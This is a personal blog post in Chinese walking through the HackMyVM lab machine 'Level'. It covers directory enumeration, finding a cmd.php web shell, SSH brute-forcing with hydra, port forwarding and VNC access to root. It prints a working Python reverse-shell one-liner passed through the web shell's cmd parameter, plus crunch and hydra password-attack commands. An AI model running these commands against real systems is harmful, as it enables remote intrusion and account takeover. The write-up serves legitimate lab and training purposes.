Windy's little blog

一切生活中的杂七杂八, and I like CTF.

HackMyVm靶机Level的Walkthrough(端口转发)

    HackMyVm靶机Level的下载地址是https://hackmyvm.eu/machines/machine.php?vm=Level。

    运行后扫描端口,情况如下图。

    图片.png


    ftp可以匿名登录,习惯性的先进去查看一下,然而啥都没有。接下来看80端口。首页没有什么内容,开始爆破目录。

    gobuster dir -u http://192.168.56.26/ -t 50 -x .html,.php,.txt -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-big.txt -b 403,404,500 --wildcard -o 80.log


    只扫描到一个robots.txt文件,在浏览器打开后,查看源代码并滚动至最后一行,可以看见提示信息。

    图片.png

    这是一种叫brainfuck的加密语言,在网上解密后可以得到一个目录。

    图片.png


    进入/leveltory目录,得到一个字典

   图片.png


    使用这个字典扫描网站,可以进入http://192.168.56.26/Level2021/这个目录。接着扫描Level2021目录,得到cmd.php。

    图片.png


    关键就是这个cmd.php了。直接执行的话,会报错。

    图片.png

    看来这是执行shell_exec()函数,但是我们没有给这个php传递参数,所以是执行空命令会报错。那么参数名是什么呢?可以找字典用burpsuite扫,不过运气不错,手动试了第一个参数cmd就对了。

    图片.png


    接下来,本机监听,并执行自己喜欢的shell代码,得到反弹shell。

http://192.168.56.26/Level2021/cmd.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.100",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

   

    图片.png


   来到/home目录,发现只有one一个用户,但目前无法进入one目录。但home目录下有一个提示信息,提示one用户的密码组成。

   图片.png


   接下来可以在本机用crunch生成定制密码。

crunch 9 9 -t 0n30n3%%% > pass.txt

    由于之前的65000端口在nmap扫描时显示为unknown,但nc连接测试一下,可以发现是ssh端口。于是可以用hydra爆破one的登录密码。

hydra -l one -P pass.txt 192.168.56.26 -s 65000 ssh -F -t 64

    不一会儿就显示出正确密码。

图片.png


  接下来就可以用ssh登录one用户,进入home目录得到user flag。接下来的难点是如何提权。经过一番搜索,没有getcap、sudo等常规提权可用,但找到两个有意思的地方。一是home目录下有个“...”目录,不注意的话很容易忽略,里面只有一个remote_level文件,但文件中的内容无法直接显示为字符,且看名字和“远程”相关。

  图片.png

 

    第二个地方是查看靶机的端口,发现有一个只能本机访问的5901端口。

    图片.png


    想在本机上方便地查看这个端口的服务,需要把它从靶机转发出来,通常有两种方法,分别是使用ssh或socat,这里使用ssh,命令如下:

 ssh -L 5901:127.0.0.1:5901 one@192.168.56.26 -p 65000

    转发成功后再用nmap扫一下,成功发现端口开放,并识别是vnc服务。

    图片.png

   

    在靶机看一下进程,vnc服务是root权限的,那很有可能连接上这个端口以后,能够得到root权限。

    图片.png


    接下来,需要连接vnc服务。在linux上一般使用vncviewer,但是需要输入密码。想到刚才得到的remote_level文件,到目前还没有使用。把它从靶机上下载下来,并作为密码文件输入:

vncviewer -passwd remote_level 127.0.0.1:5901

   

    最后就是成功连接,并得到root权限。

   

    图片.png

   

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0